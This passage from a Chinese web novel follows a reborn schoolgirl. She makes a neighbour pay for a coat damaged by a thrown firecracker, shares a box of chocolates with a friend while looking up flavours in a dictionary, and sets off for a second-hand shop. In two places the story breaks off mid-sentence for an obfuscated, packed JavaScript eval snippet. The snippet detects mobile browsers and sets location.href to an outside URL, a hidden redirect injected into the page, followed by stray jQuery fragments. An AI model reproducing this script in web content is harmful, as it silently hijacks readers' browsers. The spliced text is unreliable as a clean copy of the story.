“阿姨,你敢让你儿子把口袋翻出来吗?他口袋里一大盒摔炮呢。” 女人顿住,愣了几秒,突然又把枪口指向包文俊,厉声道:“我认得你爸爸,你刚才按着贝贝的头欺负他,我看得清清楚楚。我等下就去告诉你爸爸,让他收拾你!” 听她这么说,包文俊害怕起来。 “我们又没做错事,怕什么?”程守萍看向女人,“阿姨,你要去告状是吧?我们就一起回去吧,也好把事情说说清楚。” 高颧骨女人冷“哼”一声,回头看一眼儿子,反正儿子没真的吃亏,她明知自己这头理亏,其实已经萌生退意。 “萍萍,怎么回事?” 程守萍转头瞧见程根生与包向东,不由一喜:“爸爸,大姑父。” 32. 【唬人】 包文静是个小机灵鬼,看到自家大人来了,立即上去告状:“爸爸,舅舅,那个小哥哥把萍萍姐姐的衣服烧了个洞。” 程根生刚才听到楼下的吵骂声,从窗户伸出头看了眼,见是一个女人冲自己家几个小囡发火,便急忙下楼。包向东看他出门的时候挺着急,也赶紧跟着下来了。 程根生仔细看了看女儿,见她脸上手上没什么伤,神情也很放松,再看宏宏,也没有吃什么亏,心下稍安。这才去看女儿的衣服:“哪里烫到了?” 包文静上去指给他看:“喏,这里这里。” 女人见他们几个说话,低头拉着儿子就想悄悄地走掉。 谁知眼前一暗,有个男人拦在身前,冷冷地道:“赵春芳,事情没讲清楚呢,你就要走,心虚吗?” 赵春芳已然色厉内荏,说话声调都低了不少:“小囡吵吵玩玩而已,有什么好讲的。” 程守萍说:“赵阿姨,你家贝贝朝我弟弟妹妹扔摔炮,差点就扔到他们头上了。这可不是小事,万一炸到他们眼睛怎么办?” 听到这句,包向东吃了一惊:“什么?!” “是真的!他是朝我和宏宏扔的摔炮,还好萍萍姐姐帮我们挡住了,所以烫坏了她衣服。” 包文静指着叫贝贝的男孩说道:“他向哥哥要飞机玩,哥哥不肯给他玩,他就拿摔炮扔我们!后面赵阿姨过来骂我们,还推哥哥,哥哥被她推得摔了一跤呢!” “你们这几个小囡,不可以瞎说的!谁看到我儿子扔摔炮了?”赵春芳仍想抵赖。 包文俊趁他们几人说话,悄悄绕到赵春芳和男孩背后,从男孩口袋里掏出一个纸盒,高高举起:“这不是摔炮吗?” 赵春芳本能地护住男孩,往后退了几步。看到那盒摔炮被当众掏出来,她就开始慌了,但仍强撑着说:“又没有真的扔到你们,不就烫了个洞吗?” “不就烫了个洞?”程根生向前几步,沉声责问,“你说得倒轻巧,万一炸到小囡脸上、眼睛上,怎么办?” 包向东听她语气轻飘,亦不由愤怒:“赵春芳,你听听你自己说的是人话吗?朝着人丢摔炮?那是多危险的事情?两个小囡要是炸坏了眼睛,毁容了你要怎么负责?” “那你们想怎么办啦?要不就逼死我们娘俩算了!”赵春芳眼看道理讲不过,索性耍起无赖,大声哭嚷起来。 看到赵春芳耍无赖,程根生和包向东都有点无奈。要让不明真相的人看到这幕,真要以为他们两个男的在欺负女人了。 程守萍低声叮嘱表妹看好宏宏,朝赵春芳走近几步:“赵阿姨,不是哭得声音越大越有道理,我们也不需要你死啊活啊的,你只要让贝贝向我弟弟妹妹道歉就可以了,他要承认他这样做太危险,并且答应以后再也不会朝着别人丢摔炮。” 她声音脆亮,字字清晰,好叫周围邻居都听清楚事情的起因。 赵春芳听她说只要道歉,便止住了哭嚷,问:“就,就这样?” “就这样。” 赵春芳虽然觉得道歉太丢脸,但对方家长都来了,今天不道歉怕是走不了,一直僵持下去,只会让更多邻里街坊看笑话。 她推了推儿子:“听到了伐,道歉去。” 贝贝低着头,不肯开口。 赵春芳抬头看了眼,就见两边的楼房窗口有不少脑袋探在外面,都是被方才的争吵声引出来看热闹的。 她心头焦躁起来,眼看儿子还不开口,一记耳光扇了过去:“叫你道歉听到没!” 贝贝捂着脸“哇”地一声哭了出来。 “不许哭了,听到没有!再哭我抽死你!”赵春芳摇晃着儿子,不住喝骂。 程守萍看不下去,叹口气:“赵阿姨,算了,贝贝你带回去教育吧。你把烫坏我衣服的钱赔上就行。” “啊?还要赔钱?”赵春芳看看周围,程根生和包向东沉着脸望着她不说话,几个小囡也都义愤填膺地瞪着她。 楼上有从头看到尾的邻居说话了:“赵春芳,你小囡烫坏人家衣服,怎么不要赔钱啊?” “是啊,你以为当街打两下小囡就算了呀?钞票可以赖掉了?” 赵春芳后悔没早点带儿子走,闹到现在这幅样子,不赔钱是不行了,只能咬牙问:“你们要赔多少?” 程守萍这件棉大衣,衬里和棉花都是旧衣服拆下来的,钱主要花在外面新扯的灯芯绒料子上,另加老裁缝的手工费。当时程根生为这件棉衣翻新,总共付了八块五角,另加布票和棉花票。 虽说烫坏一个洞,无非是打个补丁的事,但好好的新衣变成了打补丁的旧衣,谁心里都不会痛快。 程守萍看了看爸爸,他低头沉吟着,似乎没想好该赔多少。 她便说道:“我这件是新棉衣,料子是这两年最时新的灯芯绒,这么大个洞,就算补起来也成旧衣了。就打个七折,你赔我两块五角吧。另外找裁缝补也要手工费的,算一块钱。总共三块五角。” 赵春芳眉毛又吊起来了:“狮子大开口啊!就这么个破洞叫我赔三块五角,你想得倒是美!” 程守萍平静地望着她:“赵阿姨,鞭炮属于危险易燃易爆品,你家贝贝朝我们扔摔炮,这属于故意伤害罪你知道吗?现在没伤到人,只是烫坏我衣服,属于伤害未遂,但他是有伤害意图的,而且也有犯罪行为。这盒摔炮就是证据。” “如果我们揪着这件事不放,去派出所告他故意伤害,你就不要想这件事能那么轻易解决了。最轻的结果也是对你儿子进行批评教育,但也会在他档案里留下记录。你就为了这几块钱,害你家贝贝档案上永远有个污点?” 赵春芳脸色发青,她听不懂这些个罪名,但她怕影响到儿子的前途。 她咬了咬牙,从兜里掏出钱,数出三块五角,紧紧攥在手里,不放心地说:“你收了钱就不能再去告我们了啊!” 程守萍点头:“那当然,但是你也要保证教好贝贝,以后不能再对别人扔这些危险物品了。” “保证,保证。”赵春芳瞪了眼低着头的儿子,把钱赔给程守萍,狠狠一扯这个败家子,“走了!” 热闹看完了,窗口外的脑袋纷纷缩了回去。 程根生与包向东带着四个小囡回楼上。 一进门,程梅英迎上来:“都没事吧?我刚才做饭呢,只在窗口听了半截,到底怎么回事?” 包文俊兄妹就把刚才发生的事从头到尾细说了一遍。 程梅英眼眶微红,牵着程守萍的手,对女儿道:“文静,过来谢谢你姐姐,要不是她替你挡着,这摔炮就扔你身上了。” “嗯!谢谢萍萍姐姐。”包文静过来,先朝程守萍甜甜地谢了句,然后从口袋里抓出两把糖,捧在手里递给她,“姐姐,都给你。” 程守萍拿走其中两颗:“够了,剩下的你自己吃吧。” 程梅英瞪一眼女儿:“你什么时候拿了那么多糖?都给我放回去!” 包文静吐吐舌头:“我是为了给姐姐吃才拿那么多的。” 大家都笑了起来。 程梅英让程守萍转身,仔细看看她衣服上烫出来的洞:“这个洞交给我来补,保证补得一点都看不出来。” 大姑妈是纺织厂的女工,拿过技术标兵奖的,这话程守萍信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148596|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “谢谢大嬢嬢。” “你谢什么啊?我和文静才要谢谢你呢。” 包向东拍了拍程根生的肩,竖起了大拇指:“根生,你女儿这张嘴,是真的厉害啊!都可以去当法官了!说话一套一套的,那个什么伤害罪啊,什么危险品的,说得赵春芳那个女人脸都白了,乖乖掏钱,再也不敢撒泼耍无赖了,哈哈哈哈!” 程根生心里是自豪的,也有些许疑惑,但他只是将这些疑惑放在心底不提,只笑着点点头。 “大姑父,危险品是我们学校的安全教育里说的,鞭炮、烟火这些都是易燃易爆品,老师特意提醒我们,过年期间放鞭炮要安全燃放,不要误伤自己或别人,更要小心防止引发火灾。”程守萍笑着解释道。 “至于故意伤害罪那些,我是听广播里的法律讲座提到的。刚才其实还瞎编了一些,唬人的。” “别管是不是瞎编,能唬住人就是你本事,连你大姑父都给你唬得一愣一愣的呢。”包向东哈哈笑道,拍着程根生的肩膀道,“我外甥女是个厉害人物,将来一定会特别有出息。” 程根生亦释然地笑了起来。 程守萍接着说道:“大姑父,刚才多亏了有表哥在。是文俊表哥去追上贝贝,拉他过来向我们道歉的。也是表哥从贝贝口袋里找出摔炮的,让赵阿姨再也抵赖不掉,只能赔礼道歉。” 包向东笑得更开心了,伸掌揽过包文俊,拍拍他肩以示赞赏。包文俊脸红红的,兴奋地望了眼爸爸。 众人说笑了阵,程梅英道:“家里地方小,都别杵在这里了,你们先进屋聊,我马上就做好饭了。” 不一会儿,开饭了。 两家人说说笑笑,一起愉快地吃完晚饭。 程梅英起身对包向东道:“剩下的你收拾吧,顺便洗碗刷锅。我给萍萍把衣服补好。” 包向东点头:“应该的应该的。” 程梅英找出件包文俊的棉袄,让程守萍临时穿着,换下有洞的棉衣,找出针线剪刀等物,就开始修补起来。 她先细心地把烫焦发黑的地方修剪干净,然后把衣服下摆拆开,从翻边内侧剪下一块灯芯绒料来,再把下摆重新缝好。 接着将那块剪下的绒料细心修剪,让它与破洞大小一致,形状也一致,放上去就连纹路都是对齐的,没有一点错乱。 最后她选择和衣料颜色最为相似的驼色细线,一针针将这块绒料与原先的衣料“织”在一起。 两个多小时过去,程梅英直起身,捶了捶后腰,将衣裳拎起抖了抖:“萍萍,你来看看。” 程守萍接过衣裳,东看西看,愣是没找到刚才的破洞在哪儿! 她不由感叹:“大嬢嬢,你太厉害了!怎么能补得像新的一样,一点都看不出来啊?” 程梅英欣慰地笑:“看来我这手艺还没丢,你都看不出来,不知道的人就更看不出了。” 程守萍换回自己的棉衣,这时候已经挺晚了,程根生便向大姐一家告辞。 回家后,程守萍把那三块五角收进自己折的纸钱包里,眼看着钱越来越多,一个纸钱包已经装不下,她用厚纸折了三个,一个专门放大额纸币,一个放毛票,另外一个用来放硬币。 随后从书包里拿出个小本子,把这笔钱的进帐记上。 每个月的零花钱,加上王小军这边的补课费,再加上赵春芳赔她的三块五角,她已经攒了八块多了。 应该够买她想买的那件东西了。 不过明天上午先要去王小军家给他补课,之后还约了沈继舟,要去他家读英语的。 那就下午去买吧。 33. 【酒心巧克力】 程守萍头一次给王小军补课那回,马冬兰在送走她后,立即问儿子:“小军,她教的怎样?有用吗?能提分吗?” 王小军心想要提分哪有那么快,但程守萍给他分析了三道错题,让他有恍然大悟的感觉。 原来读完题不应该急急忙忙开始做计算,而是应该先把所有条件圈出来! 题目里给的每个条件,每个数字都是有用的,如果只顾做计算,却忽略了其中一个条件,那列出的算式从一开始就是错的,再怎么算都拿不到半分。 他有好几道题都是这样错的,尤其是那种句子特别多的长题目,他经常会漏条件,这类还都是大题,一扣就是五六分甚至十分! 至于语文,程守萍也说了,不是靠一时的刷题恶补就能进步的,要靠平时的积累,这点他也有体会,下半学期他认真地背古诗背课文,确实有一定的提升,但却不多。 面对妈妈的提问,王小军点点头:“有用,我觉得能提分。” 那一回因为抄数学错题花的时间较多,语文来不及讲了,程守萍让他先把寒假生活上的语文题做一遍,下次来讲语文。 今天程守萍来辅导王小军,就先批改寒假生活上他做的语文题。一边批,一边指出他理解有误或是表达有错的地方。 王小军订正语文题的时候,她开始批改数学题。等他订正完,数学题也批好了,这就给他讲解题思路和正确的解法。 两个小时很快过去,她给王小军安排完之后两天的作业,就找马冬兰拿课费。 马冬兰语气热切地问她:“哎,萍萍,你觉得小军有进步吗?” 程守萍心说才上两次啊,哪里看得出进步不进步,但脸上还是挂着礼貌的微笑:“小军很认真,错题也都按要求的格式订正了,只要坚持一段时间,一定会有进步的。” 马冬兰这才掏出钱来,拿在手里又数了一遍才递给她。 离开王小军家后,程守萍直接去了沈家。 沈继舟来给她开的门。 到他家做客,拖鞋肯定是提前准备好的。随着季节转换,拖鞋也换成了棉拖,鞋口还有圈毛绒绒的边。 屋里很安静。 阳光温暖明媚,斜斜地照进房间,在实木地板上投下菱形的方格。 收录机也提前准备好了,放在客厅内的方桌上。 第一次来因为线不够长,他们还是坐在地上读的英语。程根生听女儿说起后,就找厂里熟识的电工做了个拖线板,通过拖线板接线,终于可以把收录机放桌上了。 沈继舟进房间拿出那盒巧克力,兴致盎然地对她说:“我查过了,我那天吃的正是酒心巧克力,叫威士忌松露。” 他取出盒子里那张印着巧克力图案与英文标注的精美卡片,指着上面那枚细长贝壳状的巧克力:“你看,就是这块。” 程守萍疑惑地问他:“你是怎么查的?” 这年头可没有网络没有电脑,没法子随便搜一下就知道答案。 “查词典啊!” 程守萍:“……”答案竟然如此简单! 沈继舟从书架上拿下来一本厚如砖头的书册。 程守萍看了眼封面——《新英汉词典》。 翻开内页,她立马被里面细小如蚁,密密麻麻的印刷字震撼到了。怎么那么小,又那么多!这么小而密的字,还要印上砖头那么厚的一大本,得有多少单词啊。 以前看到过的那种简明版的英汉词典,和这本大砖头比起来,就是小学生和大学生的差距。 不仅是厚,这本词典的重量都像是砖头那样沉,她费劲地翻过来看了看封底,没找到定价。再翻开扉页寻找,终于给她找到了定价。 5块钱。 她能买得起。可如果买了词典,她原本想买的东西就买不了。 算了,再攒一段时间的钱吧。 沈继舟凑到她身边,翻到一页夹着书签的地方,指着一个单词念道:“Whiskey,是种叫威士忌的酒。” 程守萍跟着读了两遍,抄下注释和例句。 接着他教她怎么查词典。 他用右手翻页,程守萍就用左手帮忙按住书页。 她上辈子读初中的时候学过怎么查英汉词典,可相隔时间太久,当时又不怎么用心,早就忘得一干二净了。 但那些记忆可能还在脑海深处,也随着她的重生而进入如今这个年轻的大脑。沈继舟演示一遍,她就全记起来了。 接着她独自查了另外几种口味,把它们全都抄了下来。 把所有的口味都查过一遍后,沈继舟问她:“你想吃哪几个?” 这盒巧克力没有一种口味是重复,每一块都不一样。而且每个口味看上去都很好吃的样子。 树莓奶油巧克力酱、香橙奶油、软心焦糖、英式太妃…… 还真是难选。 最后她决定盲选,闭上眼睛,在卡片上随便指了一个。 “CoffeeGanache。”沈继舟说,“咖啡奶油巧克力酱。” 程守萍睁开眼,就决定是它了! 她刚拿起巧克力,就注意到了沈继舟的目光。他盯着那块巧克力,显然很好奇咖啡口味会是什么味道。 也是,这几年喝咖啡的人还非常少,是格外奢侈的舶来品,何况他们这种年纪的学生,更没有机会尝尝咖啡是什么味。 似乎是察觉到了她的目光,沈继舟垂下眼睛。 她把巧克力递给他:“这块给你吃吧,我想想还是换个味道。” 沈继舟摇头:“不,你吃吧,你先选的。” 程守萍提议道:“要不我们分着吃吧。” 每种口味只有一块,这盒巧克力如果分着吃的话,他们就能尝到每一种味道了。 沈继舟欣然同意,但紧接着有些迟疑:“怎么分呢?” 程守萍让他拿来水果刀和小瓷碟,她动手把巧克力一切两半。 沈继舟对咖啡奶油夹心的评价是有点苦,但香味很独特,回味悠长。 接着轮到他来选口味。 沈继舟像她一样闭上眼睛,随手一指。 “RumTruffle……”程守萍勉强忍住,才没笑出声。 他怎么和酒心巧克力那么有缘呢?第一次随便拿了块,就是威士忌酒心,今天闭着眼睛指,也能指到朗姆酒松露巧克力。 沈继舟可太熟悉她这种眼神了,还有那副嘴角微微勾起,要笑不笑的样子。他抿了抿唇,垂下眼睛不说话了。 程守萍看他这表情就知道,他又别扭起来了。她清了清嗓子,说:“这个不算,你重新选一个吧。” 沈继舟还是没动。 “你不选那我选了啊!” 他点了一下头。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157899|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守萍闭起眼,点了个树莓奶油夹心的,同样放在碟子里,用水果刀一切二。 带着些许水果酸味与浓郁莓果香气的夹心,入口依旧丝滑柔顺,中和了巧克力过于甜腻的口感。 也许是美味甜食的作用,反正吃完这半块巧克力之后,沈继舟也不再别扭了,问她:“你下午想做什么?” “我?我想去次调剂商店。” 沈继舟讶然:“调剂商店?是卖什么的?” “就是卖旧货的,也收购旧货,所以叫调剂商店。”程守萍解释给他听,又道,“我想买个包,就是不知道那里能不能买到合适的。” “我能不能和你一起去?”沈继舟颇感兴趣地问道,“我还从来没去过调剂商店呢。” “当然能啊。”程守萍盖上巧克力盒盖,正色道,“先读英语吧。” 读完英语,沈继舟瞧着她理书包,问:“下午什么时候?我去哪里找你呢?” 程守萍望着挂钟,算了算时间:“我这会儿去食堂吃饭,大概过一个小时左右吧,我们在工人文化宫旁边的十字路口碰头。” 她一说工人文化宫,沈继舟就知道哪里了:“好,一会儿见。” 因为放寒假的关系,程守萍每天午饭到厂里的食堂吃。爸爸索性提前买好了饭票和菜票给她,这样她随便什么时间都能去,不用非要等他午休的时候了。 她没有手表,所以只能估摸时间,一小时还是往多里说的,留出了大概十多分钟的余量。所以她是提前到达碰头地点的。 没想到沈继舟比她到的更早。依旧是那身藏青呢子大衣,驼色围巾,单肩背着书包,一手拿书,倚着路口的梧桐树低头看书。 冬日正午的阳光,穿透树皮斑驳剥落的枝桠,毫无保留地洒落在少年身上,也洒在他脚下那几片金黄的落叶上,仿若一幅美好的画卷。 程守萍上去抽走他的书,合起来的时候顺便瞄了眼封面,是本《少年文艺》月刊,她把杂志塞回他手中:“走吧。” 沈继舟把杂志收进包里,快走几步跟上她的步伐,与她并肩而行。 沿路走出几十米,正好遇上一辆她要乘的公交车从她身边驶过,即将驶进前方不远处的车站。 程守萍朝他喊了声:“快!”拔脚就往车站跑去,总算是在车停稳之前跑到了后车门前。 她回头看了眼,沈继舟在她后面拉下了十来米远,跑得时候背后的书包一甩一甩的。 车门打开,她贴着车门侧边等,下车的人快走完时,沈继舟也跑到了门前,只是和她还隔着一个人。 她伸手把他拽了过来,低声叮嘱他:“上车时看着点你的口袋和书包。” 沈继舟一愣,本能地抬手捂住了自己的衣袋,上车的时候也知道把书包转到身前去了。 幸好这个时间乘车的人不算多,不用靠挤的也能顺利上车。 车厢里站满了人,上车后程守萍就往车厢尾部走,后半节车厢通常更空一些,不仅站得宽敞,还有更多机会坐上座位。 沈继舟跟着她往后部走。两人刚找了个空档站好,车就发动了。 售票员从前车厢一路挤过来卖票。 程守萍从裤袋里摸出预先准备好的零钱:“坐六站,两张。” 售票员从票夹上撕下两张浅蓝色的7分票,夹在两指间,拿走她手中毛票与钢镚之后,把票塞进她手里。